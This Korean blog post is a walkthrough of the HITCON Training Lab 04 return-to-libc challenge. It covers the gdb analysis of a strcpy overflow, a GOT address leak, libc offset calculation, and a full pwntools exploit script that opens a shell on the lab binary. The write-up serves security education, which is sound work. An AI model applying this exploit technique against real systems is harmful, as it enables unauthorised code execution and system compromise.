일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- ftz
- libpcap
- #IntelManual
- BEST of the BEST
- vim
- Find
- Network
- 인터럽트
- linux
- #
- vi 외부 명령어
- #MINT64 #Sqix
- KASAN
- libtins
- Sqix
- #IntelManual #segment Descriptor #세그먼트 디스크립터 #MINT64 #Sqix
- >
- C++11
- vi
- #Best of the Best #OS #MINT64 #Sqix
- #Qt Creator
- FTZ 레벨2
- 오버워치 세이버메트릭스
- Overwatch League SaberMetrics
- 오버워치
- command
- Today
- Total
Sqix
Hitcon Training - Lab 04 : Return to libc 본문
이번에는 Lab04 : Return to libc 문제를 풀어보겠습니다.
Return to libc 문제는 말 그대로 libc로 돌아가겠다! 는 의미인데요, NX라는 보호 기법을 우회하기 위해서 공유 라이브러리의 함수 주소로 Return Address값을 변경해 libc라이브러리 안에서 offset을 이용해 함수를 호출하는 기법입니다.
바로 gdb를 이용해 실행 흐름을 확인해보겠습니다. (ida를 쓸 수 없는 환경이라 gdb로만 보겠습니다.)
puts를 이용해서 4줄을 출력합니다. 이후 printf를 이용해서 다시 1줄을 출력하네요.
###############################
Do you know return to library ?
###############################
What do you want to see in memory?
Give me an address (in dec) :
이후 fflush 함수로 버퍼를 비운 후, read함수로 input을 읽어들입니다.
read를 이용하는건 제 수준에서는 아무래도 어려울 것 같습니다. (사실 취약점이 안보이네요 아직까진)
이후 strtol 함수로 문자열을 정수형으로 바꿔 주고 이를 See_something 함수에 변수로서 집어넣네요.
그리고 함수의 결과를 출력. 다시 버퍼를 비우고 값을 읽어들여서 Print_message라는 함수에 넣습니다.
일단 대략적으로 main의 흐름을 파악했고, 이제 See_something과 Print_message 함수에 대해서 파악해 봐야겠군요.
See_something에서는 param을 포인터 타입으로 캐스팅하고 지역변수에 넣은 뒤 이를 출력해 줍니다.
int *ptr = (int *)param
printf("The content of the address : %p\n"), *ptr);
과 같은 구조로 보입니다.
이후 main에서 read를 통해 최대 256bytes 길이의 문자열을 입력받고, 이를 Print_message()의 파라미터로 넣습니다.
Print_message에서는 param을 eax에 넣은 후, 이를 스택의 차상위 위치에 넣습니다.(esp+0x4)
이후 ebp-0x38, 즉 지역변수 중 char* 타입으로 추정되는 변수를 eax에 넣고 이를 esp에 저장 후 strcpy를 호출합니다.
대략 strcpy(buf, param)으로 보입니다. 이걸 이용해서 bof를 발생시킬 수 있을 것 같네요.
이후 다시 printf를 하고 return을 하는데, 이건 크게 중요하지는 않을 것 같으니 넘어갑니다.
취약점은 Print_message 함수에서 터질 것 같으니 스택 구조를 파악해 보도록 합시다.
다른 지역변수가 어셈블리 상으로 보이지 않으니, 스택은 아마 이러한 구조를 가지고 있을 것 같습니다.
[buffer 0x38(56) bytes] - [SFP 4 byes] - [RET 4 bytes] - [Param1] ......
여기까지 우리가 파악한 것을 정리해 봅시다.
1. 두 번째 input을 payload처럼 사용할 수 있고, 여긴 256bytes의 길이 제한을 가져 BOF를 발생시킬 수 있다.
=> 60바이트를 A로 덮고, RET Addr과 Param1을 이용하여 shell을 따야 한다.
2. 우리는 아직 exec, system 등의 함수 주소와 /bin/sh 문자열을 가지고 있지 않다.
=> 첫 번째 input을 통해서 system, /bin/sh 주소를 leak해서 이를 payload에 올려야 한다.
바로 payload와 exploit 구성을 진행해봅시다.
일단 rtl에 사용할 함수 하나를 정합시다. 저는 맨 처음 나오는 puts를 쓰겠습니다.
puts를 이용하기 위해서는 puts@got를 먼저 구해야 할텐데요, puts@got를 구하는 방법은 다음과 같습니다.
puts@got는 0x804a01c이네요.
이제 puts 함수의 주소와 exit, system, "/bin/sh" 문자열 사이의 offset을 구합시다.
puts = 0xf7e50360, system = 0xf7e25d10, "/bin/sh" = 0xf7f648cf, exit = 0xf7e18f70
puts - system : 0x2A650
"/bin/sh" - puts : 0x11456f
puts - exit : 0x373F0
system의 주소는 puts에서 저 offset을 뺀 주소가 될 것이고, "/bin/sh" 문자열의 주소는 puts에 저 offset을 더한 주소죠.
exit 역시 puts에 0x373F0을 더한 값이 주소가 될 것입니다.
이제 다 왔습니다. payload만 구성하면 됩니다.
일단 A 60개를 넣어 앞의 buf, sfp를 덮습니다. 이후 ret 부분에 system 함수를 집어넣습니다.
그 후, system 함수가 종료된 뒤 이동할 함수를 넣어 주고, ebp+8 부분부터는 함수 파라미터를 넣습니다.
[ A * 60] - [system()의 주소] - [exit()의 주소] - ["/bin/sh"의 주소]
이러한 식으로 payload를 구성하면 될 것 같습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
from pwn import *
p = process('./ret2lib')
puts_got = str(0x804a01c)
p.recvuntil(':')
p.sendline(puts_got)
puts_addr = int(p.recvline().split(":")[1].strip(),16)
system_addr = puts_addr - 0x2A650
binsh_addr = puts_addr + 0x11456f
exit_addr = puts_addr + 0x373f0
payload = ''
payload += 'A'*60
payload += p32(system_addr)
payload += p32(exit_addr)
payload += p32(binsh_addr)
p.recvuntil(':')
p.sendline(payload)
p.interactive()
|
cs |
'Wargame > HITCON Training' 카테고리의 다른 글
Hitcon Training - Lab 06 : Stack Migration (0) | 2019.09.24 |
---|---|
Hitcon Training - Lab 05 : Return Oriented Programming (0) | 2019.09.21 |
Hitcon Training - Lab 03 : Return to shellcode (0) | 2019.09.16 |
Hitcon Training - Lab 02 : Shellcraft (0) | 2019.09.10 |
Hitcon Training - Lab 01 : Sysmagic (0) | 2019.09.09 |